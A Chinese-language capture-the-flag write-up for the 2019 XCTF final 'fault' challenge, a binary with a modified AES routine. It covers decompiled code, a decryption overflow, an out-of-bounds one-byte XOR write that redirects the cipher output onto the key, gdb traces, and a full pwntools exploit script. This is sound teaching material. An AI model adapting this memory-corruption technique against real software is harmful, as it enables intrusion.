2019 xctf final fault writeup

robots

 

前言

这道题目也是困惑了我好久,起初是看不懂程序功能逻辑,然后是看懂了逻辑找不到程序漏洞点在哪里,分析了良久,终于找到可疑点(程序解密的时候输入数据长度过长),此程序是一个AES加解密的程序,程序有一个后门函数,条件是要让输入的值等于程序起初随机生成的AES的key。经过艰辛的调试,终于弄明白题目如何去覆盖在bss段的key,从而使得满足条件,拿到flag。下面就开始分析一下我调试的过程以及覆盖的方法。

 

题目功能分析

题目main函数:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  sub_15DA();
  init_rand();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        v3 = (char)sub_18F1();
        if ( (char)v3 != 'd' )
          break;
        dec();
      }
      if ( v3 > 'd' )
        break;
      if ( v3 != 'c' )
        goto LABEL_13;
      check();                                  // rsa 加密rand
    }
    if ( v3 != 'e' )
      break;
    enc();
  }
  if ( v3 == 's' )
    shell();                                    // 需要rand值
LABEL_13:
  puts("wrong option");
  return 0LL;
}

题目保护全开,程序有以下几个功能:

1.encrypt 加密。AES-128加密。不同于原来的AES,这里的AES加密函数多了两个参数arg1,arg2,作用是在AES加密的第8轮时,堆input的矩阵input[arg1] ^=arg2。正常加密时这两个参数是0,则不影响加密结果。

scanf("%32s", v2);
getchar();
str2hex((__int64)v2, (__int64)&input, 32);    // input -->2053d0  字符变hex数字
v1 = sub_2E31(16LL);                          // malloc 44*4
key_extension((__int64)&rand, (__int64)v1);
AES((__int64)&input, (__int64)&output, (__int64)v1, byte_205440, byte_205441);
printf02x((__int64)&output, 16);
sub_22FF((__int64)v16, rand_1, 0);            // addRoundKeys
for ( k = 1; k < dword_20545C; ++k )
{
 if ( k == 8 )
   v16[v7] ^= v8;                            // -->key point  越界写一个字节,修改output地址为rand地址,可实现将key覆盖为密文输出
 sub_2886((__int64)v16);                     // subBytes
 sub_26B5((__int64)v16);                     // shiftRows
 sub_24B9((__int64)v16);                     // MixColumns
 sub_22FF((__int64)v16, rand_1, k);          // addRoundKeys
}
sub_2886((__int64)v16);
sub_26B5((__int64)v16);
sub_22FF((__int64)v16, rand_1, dword_20545C);

2.decrypt解密。漏洞关键点,输入密文为64位,比预期大了32位,因此在解密后可能覆盖后面加密的两个参数arg1,arg2为任意值,由此可以通过encrypt函数的抑或来实现末位一字节写。

scanf("%64s", s);                             // encdata
getchar();
putchar('>');
scanf("%32s", v4);                            // rand_key
getchar();

3.check 检查函数。对题目没帮助,只是提供checker检查方便。

4.shell 后门shell。只有输入的数据和程序bss段上的key相同时,才会输出flag。

scanf("%32s", v4);
sub_177C(v5, (__int64)&rand, 16);
for ( i = 0; i <= 31; ++i )
{
 if ( v4[i] != v5[i] )                       // 需要泄露rand内容,或者修改rand
   exit(0);
}
std::ifstream::basic_ifstream(v3, "/flag", 8LL);

 

漏洞点

1.decrypt函数存在解密后数据溢出漏洞,可覆盖栈中的arg1、arg2参数

2.encrypt函数存在下标溢出漏洞,可实现栈中数据任意一字节写。

 

利用

1.明文加密一次

2.解密一次,使用0x20覆盖加密函数的两个参数(此处用0x20是因为在栈上和input地址相差0x20的地方的地址指向的是output的地址,由此可以实现将output地址的最后一个字节改写成rand地址)
bss段布局如下:

.bss:00000000002053C0 randkey            db    ? ;               ; DATA XREF: init_rand+45↑o
.bss:00000000002053C0                                         ; sub_16BC+23↑o ...
.bss:00000000002053C1                 db    ? ;
.bss:00000000002053C2           ..............................................
.bss:00000000002053CF                 db    ? ;
.bss:00000000002053D0 input           db    ? ;               ; DATA XREF: sub_16BC+4E↑o
.bss:00000000002053D0                                         ; enc+3D↑o ...
.bss:00000000002053D1                 db    ? ;
.bss:00000000002053D2      ...................................
.bss:00000000002053DF                 db    ? ;
.bss:00000000002053E0 output_enc      db    ? ;               ; DATA XREF: sub_16BC+47↑o
.bss:00000000002053E0                                         ; enc+8D↑o ...
.bss:00000000002053E1                 db    ? ;
.bss:00000000002053E2        ....................................
.bss:00000000002053FF                 db    ? ;
.bss:0000000000205400 input_randkey   db    ? ;               ; DATA XREF: dec+A7↑o
.bss:0000000000205400                                         ; dec+E9↑o
.bss:0000000000205401                 db    ? ;
.bss:0000000000205402        ..................................
.bss:000000000020540F                 db    ? ;
.bss:0000000000205410 input_enc       db    ? ;               ; DATA XREF: dec+BF↑o
.bss:0000000000205410                                         ; dec+139↑o
.bss:0000000000205411                 db    ? ;
.bss:0000000000205412              ........................................
.bss:000000000020542F                 db    ? ;
.bss:0000000000205430 output_dec      db    ? ;               ; DATA XREF: dec+125↑o
.bss:0000000000205430                                         ; dec+170↑o
.bss:0000000000205431                 db    ? ;
.bss:0000000000205432       ..............................
.bss:000000000020543F                 db    ? ;
.bss:0000000000205440 byte_205440     db ?                    ; DATA XREF: enc+77↑r
.bss:0000000000205441 byte_205441

3.再次使用相同明文加密,使得异或修改output_enc地址为rand地址,实现覆盖key为输出的密文,输出则为key

4.输入key,拿到flag

 

调试过程

1.先经过加密,初始化key和output_enc地址

2.解密,用0x20的密文解密生成明文0x20,去覆盖AES加密的参数为0x20,调试如下:

   0x55d955061dc8                  mov    rdx, rax
   0x55d955061dcb                  lea    rsi, [rip+0x20360e]        # 0x55d9552653e0
   0x55d955061dd2                  lea    rdi, [rip+0x2035f7]        # 0x55d9552653d0
 → 0x55d955061dd9                  call   0x55d955062eaf   #AESenc
   ↳  0x55d955062eaf                  push   rbp
      0x55d955062eb0                  mov    rbp, rsp
      0x55d955062eb3                  push   r12
      0x55d955062eb5                  push   rbx
      0x55d955062eb6                  sub    rsp, 0x40
      0x55d955062eba                  mov    QWORD PTR [rbp-0x38], rdi
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
0x55d955062eaf (
   $rdi = 0x000055d9552653d0 → 0xf876b7f7f876b7f7,       # input
   $rsi = 0x000055d9552653e0 → 0x309596f547c8c6fc,       # output
   $rdx = 0x000055d955927da0 → 0xf8dfe8ebca9696bf,       # randkey(堆上的)
   $rcx = 0x0000000000000000       <------------- arg1 arg2
)

可看到两个参数均为0,继续解密,输入64位密文,得到64位明文,覆盖掉output_dec下面的 arg1 arg2,覆盖成0x20:

gef➤  x/16gx 0x000055d955060000+0x205430  #output addr
0x55d955265430:    0x2020202020202020    0x2020202020202020
0x55d955265440:    0x2020202020202020 <-- 0x2020202020202020 #arg1 arg2 overwrite to 0x20

3.再次加密,将output_enc地址最后一字节修改使其变成randkey地址,两者相差0x20,所以arg1 = 0x20(下标),arg2 = 0x20(亦或下标为0x20的数据,使其为0xc0),调试如下:

$rax   : 0xe0              
$rbx   : 0x00007ffdd2d2d060  →  0x00083620d2d2d220
$rcx   : 0xea              
$rdx   : 0x00007ffdd2d2d050  →  0x63b5b45642fb9bcd
$rsp   : 0x00007ffdd2d2d050  →  0x63b5b45642fb9bcd
$rbp   : 0x00007ffdd2d2d0b0  →  0x00007ffdd2d2d100  →  0x00007ffdd2d2d120  →  0x000055d955063340  →   push r15
$rsi   : 0xb2              
$rdi   : 0x00007ffdd2d2d050  →  0x63b5b45642fb9bcd
$rip   : 0x000055d955062ff4  →   movzx esi, BYTE PTR [rbp-0x50]
$r8    : 0x20              
$r9    : 0x10              
$r10   : 0x0               
$r11   : 0x10              
$r12   : 0x0               
$r13   : 0x00007ffdd2d2d200  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffdd2d2d050│+0x0000: 0x63b5b45642fb9bcd     ← $rdx, $rsp, $rdi
0x00007ffdd2d2d058│+0x0008: 0xb2dc1a7edbfbedc1
0x00007ffdd2d2d060│+0x0010: 0x00083620d2d2d220     ← $rbx
0x00007ffdd2d2d068│+0x0018: 0x000055d955927da0  →  0xf8dfe8ebca9696bf
0x00007ffdd2d2d070│+0x0020: 0x000055d9552653e0  →  0x309596f547c8c6fc
0x00007ffdd2d2d078│+0x0028: 0x000055d9552653d0  →  0xf876b7f7f876b7f7
0x00007ffdd2d2d080│+0x0030: 0x080404fdd2d2d0b0
0x00007ffdd2d2d088│+0x0038: 0x000000000000000f
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x55d955062fea                  mov    rdx, QWORD PTR [rbp-0x20]
   0x55d955062fee                  cdqe   
   0x55d955062ff0                  movzx  eax, BYTE PTR [rdx+rax*1] <--下标为0x20的末位值:0xe0
 → 0x55d955062ff4                  movzx  esi, BYTE PTR [rbp-0x50]
   0x55d955062ff8                  xor    al, BYTE PTR [rbp-0x4c]
   0x55d955062ffb                  mov    ecx, eax
   0x55d955062ffd                  mov    rdx, QWORD PTR [rbp-0x20]
   0x55d955063001                  movsxd rax, esi
   0x55d955063004                  mov    BYTE PTR [rdx+rax*1], cl

gef➤ ni
$rax   : 0xc0              
$rbx   : 0x00007ffdd2d2d060  →  0x00083620d2d2d220
$rcx   : 0xea              
$rdx   : 0x00007ffdd2d2d050  →  0x63b5b45642fb9bcd
$rsp   : 0x00007ffdd2d2d050  →  0x63b5b45642fb9bcd
$rbp   : 0x00007ffdd2d2d0b0  →  0x00007ffdd2d2d100  →  0x00007ffdd2d2d120  →  0x000055d955063340  →   push r15
$rsi   : 0x20 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
  0x55d955062fee                  cdqe   
   0x55d955062ff0                  movzx  eax, BYTE PTR [rdx+rax*1]
   0x55d955062ff4                  movzx  esi, BYTE PTR [rbp-0x50]
 → 0x55d955062ff8                  xor    al, BYTE PTR [rbp-0x4c] <--0xe0^0x20 = 0xc0
   0x55d955062ffb                  mov    ecx, eax
   0x55d955062ffd                  mov    rdx, QWORD PTR [rbp-0x20]
   0x55d955063001                  movsxd rax, esi
   0x55d955063004                  mov    BYTE PTR [rdx+rax*1], cl
   0x55d955063007                  mov    rax, QWORD PTR [rbp-0x20]

此时亦或完成,值为0xc0,接下来是赋值修改末位:

$rax   : 0x20              
$rbx   : 0x00007ffdd2d2d060  →  0x00083620d2d2d220
$rcx   : 0xc0              
$rdx   : 0x00007ffdd2d2d050  →  0x63b5b45642fb9bcd
$rsp   : 0x00007ffdd2d2d050  →  0x63b5b45642fb9bcd
$rbp   : 0x00007ffdd2d2d0b0  →  0x00007ffdd2d2d100  →  0x00007ffdd2d2d120  →  0x000055d955063340  →   push r15
$rsi   : 0x20              
$rdi   : 0x00007ffdd2d2d050  →  0x63b5b45642fb9bcd
$rip   : 0x000055d955063004  →   mov BYTE PTR [rdx+rax*1], cl
$r8    : 0x20              
$r9    : 0x10              
$r10   : 0x0               
$r11   : 0x10              
$r12   : 0x0               
$r13   : 0x00007ffdd2d2d200  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x55d955062ffb                  mov    ecx, eax
   0x55d955062ffd                  mov    rdx, QWORD PTR [rbp-0x20]
   0x55d955063001                  movsxd rax, esi
 → 0x55d955063004                  mov    BYTE PTR [rdx+rax*1], cl
   0x55d955063007                  mov    rax, QWORD PTR [rbp-0x20]
   0x55d95506300b                  mov    rdi, rax
   0x55d95506300e                  call   0x55d955062886
   0x55d955063013                  mov    rax, QWORD PTR [rbp-0x20]
   0x55d955063017                  mov    rdi, rax

rdx为input数据,将input数据的下表为0x20位置修改成c0,可看一下原来[rdx+rax*1]位置是output_enc地址0x000055d9552653e0 ,将其变为randkey地址0x000055d9552653c0,即可实现覆盖randkey为加密后密文,如下:

gef➤  x/8gx $rdx+$rax*1
0x7ffdd2d2d070:    0x000055d9552653e0 <--output_enc    0x000055d9552653d0
0x7ffdd2d2d080:    0x080404fdd2d2d0b0    0x000000000000000f
0x7ffdd2d2d090:    0x00007ffdd2d2d050    0x85ee5cecedfbab00
0x7ffdd2d2d0a0:    0x0000000000000000    0x000055d9550614d0
gef➤  ni
gef➤  x/8gx $rdx+$rax*1
0x7ffdd2d2d070:    0x000055d9552653c0 <--randkey    0x000055d9552653d0
0x7ffdd2d2d080:    0x080404fdd2d2d0b0    0x000000000000000f
0x7ffdd2d2d090:    0x00007ffdd2d2d050    0x85ee5cecedfbab00
0x7ffdd2d2d0a0:    0x0000000000000000    0x000055d9550614d0

按照这个节奏,当加密函数运行完,在bss段的randkey会被写入密文,而输出则会将密文输出:

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x55d955061dcb                  lea    rsi, [rip+0x20360e]        # 0x55d9552653e0
   0x55d955061dd2                  lea    rdi, [rip+0x2035f7]        # 0x55d9552653d0
   0x55d955061dd9                  call   0x55d955062eaf            #AESenc
 → 0x55d955061dde                  mov    esi, 0x10
   0x55d955061de3                  lea    rdi, [rip+0x2035f6]        # 0x55d9552653e0
   0x55d955061dea                  call   0x55d955061725            # printf02x
   0x55d955061def                  nop    
   0x55d955061df0                  mov    rax, QWORD PTR [rbp-0x8]
   0x55d955061df4                  xor    rax, QWORD PTR fs:0x28
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/8gx 0x000055d9552653c0
0x55d9552653c0:    0x309596f547c8c6fc <--    0x1c879b06cfc5a17e
0x55d9552653d0:    0xf876b7f7f876b7f7    0xd03e7ef9d0d0d0d0
0x55d9552653e0:    0x309596f547c8c6fc    0x1c879b06cfc5a17e
0x55d9552653f0:    0x0000000000000000    0x0000000000000000
gef➤  x/8gx 0x000055d9552653e0
0x55d9552653e0:    0x309596f547c8c6fc <--    0x1c879b06cfc5a17e
0x55d9552653f0:    0x0000000000000000    0x0000000000000000
0x55d955265400:    0xbbbbbbbbbbbbbbbb    0xbbbbbbbbbbbbbbbb
0x55d955265410:    0x5d41f5d4cea95856    0x4064d479e8e2853e

randkey已经变成了密文。随后只要使用shell函数,输入密文即可获取flag。

    '>'
[*] aa6da6ca395fcab1ceda405ca27a0956
[DEBUG] Sent 0x2 bytes:
    's\n'
[DEBUG] Sent 0x22 bytes:
    'aa6da6ca395fcab1ceda405ca27a0956\n'
    '\n'
[*] Process './fault_bibi' stopped with exit code 0 (pid 106809)
[DEBUG] Received 0x16 bytes:
    'flag{1111111111111111}'
[*] flag{1111111111111111}
[*] Switching to interactive mode
[*] Got EOF while reading in interactive

 

exp

from pwn import *

context.arch='amd64'
context.terminal = ['terminator','-x','sh','-c']
context.log_level = 'debug'
def cmd(command):
    p.recvuntil(">",timeout=0.5)
    p.sendline(command)

def main():
    global p
    #p = remote(host,port)
    p = process("./fault_bibi")

        # debug(0x0000000000003004)
    cmd('e')
    #gdb.attach(p)
    p.sendline("cafebabedeadbeefcafebabedeadbeef".decode('hex'))
    cmd('d')
    payload1 = "5658a9ced4f5415d3e85e2e879d464405658a9ced4f5415d3e85e2e879d46440"
    payload2 = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"

    p.sendline(payload1)
    p.sendline(payload2)
    #gdb.attach(p)
    cmd('e')
    p.sendline("cafebabedeadbeefcafebabedeadbeef".decode('hex'))
    p.recvuntil("e:encryp",drop=True)
    p.recvuntil(">")
    key = p.recvuntil("e:encryp",drop=True)
    info(key)
    cmd('s')
    p.sendline(key)
    flag = p.recv(timeout=0.5)
    info(flag)
    p.interactive()

if __name__ == "__main__":
    main()

 

总结

这道题目让我深刻的了解了AES加密算法的原理和c语言实现,题目巧妙地用一个栈溢出和一个亦或操作实现了一个字节的任意写,从而改变了bss段randkey的值,且在给定的参数为0条件下,亦或不影响正常的AES算法的值,当给定的参数非0,在不超过下标范围(0-0x10)内会影响AES结果,但超过下标范围会造成一个字节任意写。不愧是xctf final题目,学到了!

(完)